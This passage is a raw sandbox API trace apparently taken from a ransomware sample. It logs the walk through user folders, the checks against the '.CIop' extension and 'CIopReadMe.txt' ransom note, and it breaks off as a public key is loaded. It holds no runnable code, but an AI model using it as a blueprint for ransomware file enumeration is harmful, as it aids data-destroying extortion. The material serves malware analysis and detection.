lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop" [0128.204] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*" [0128.204] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.204] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="Desktop" [0128.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0128.205] lstrlenW (lpString="Desktop") returned 7 [0128.205] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.205] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.205] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0128.205] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0128.205] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.205] SetErrorMode (uMode=0x1) returned 0x1 [0128.205] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.205] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.205] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0128.205] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.205] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0128.205] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.205] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.205] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.205] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2="..") returned 1 [0128.205] lstrcmpW (lpString1="1u1PtMsi_p5I6Kp0gVZ.xlsx.CIop", lpString2=".") returned 1 [0128.205] lstrlenW (lpString=".CIop") returned 5 [0128.205] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.205] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2="..") returned 1 [0128.205] lstrcmpW (lpString1="4CDCeVLoOGDNNc.xlsx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="5eq4aL0vBSUL.pps.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="5EUw6X.xlsx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.206] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="Database1.accdb.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.206] lstrlenW (lpString="desktop.ini") returned 11 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="FnCzF1A7H gxenH83.pptx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="gCLjM xynMaWR.xlsx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="hfoKW.pptx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.206] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2="..") returned 1 [0128.206] lstrcmpW (lpString1="JF6Z1xvDFv.docx.CIop", lpString2=".") returned 1 [0128.206] lstrlenW (lpString=".CIop") returned 5 [0128.206] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="MI47.xlsx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="nP0r3x5d.ods.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="o1_fy8.pptx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="obHPe.pptx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="SATDQcfMYoPlh.docx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="u6hnCYVE2vuu.docx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="ziNabL4eBQn3JC_djnr.pptx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.207] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2="..") returned 1 [0128.207] lstrcmpW (lpString1="ZmbKh2wUNBqMsH-.docx.CIop", lpString2=".") returned 1 [0128.207] lstrlenW (lpString=".CIop") returned 5 [0128.207] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.208] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.208] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.208] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.208] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*" [0128.208] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.208] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="Documents" [0128.208] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.208] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0128.208] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0128.208] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0128.209] SetErrorMode (uMode=0x1) returned 0x1 [0128.209] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0128.209] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0128.209] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.209] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0128.209] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.209] lstrlenW (lpString=".CIop") returned 5 [0128.209] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.209] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.209] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.209] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*" [0128.209] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.209] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Music") returned="My Music" [0128.209] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0128.209] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.209] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.209] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.209] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.209] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0128.209] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0128.209] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0128.209] SetErrorMode (uMode=0x1) returned 0x1 [0128.209] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0128.209] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\" [0128.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0128.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.210] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0128.210] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.210] lstrlenW (lpString=".CIop") returned 5 [0128.210] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.210] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.210] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.210] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures" [0128.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*" [0128.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.210] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Pictures") returned="My Pictures" [0128.210] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0128.210] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.210] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.210] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.210] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.210] lstrcmpW (lpString1="My Shapes", lpString2="..") returned 1 [0128.210] lstrcmpW (lpString1="My Shapes", lpString2=".") returned 1 [0128.210] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0128.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0128.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0128.210] SetErrorMode (uMode=0x1) returned 0x1 [0128.210] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0128.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0128.210] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0128.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0128.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.210] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0128.210] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0128.210] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.210] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.210] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.210] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.210] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.210] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.210] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.210] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.210] lstrlenW (lpString="desktop.ini") returned 11 [0128.210] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.211] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0128.211] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0128.211] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0128.211] Sleep (dwMilliseconds=0xd) [0128.232] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- 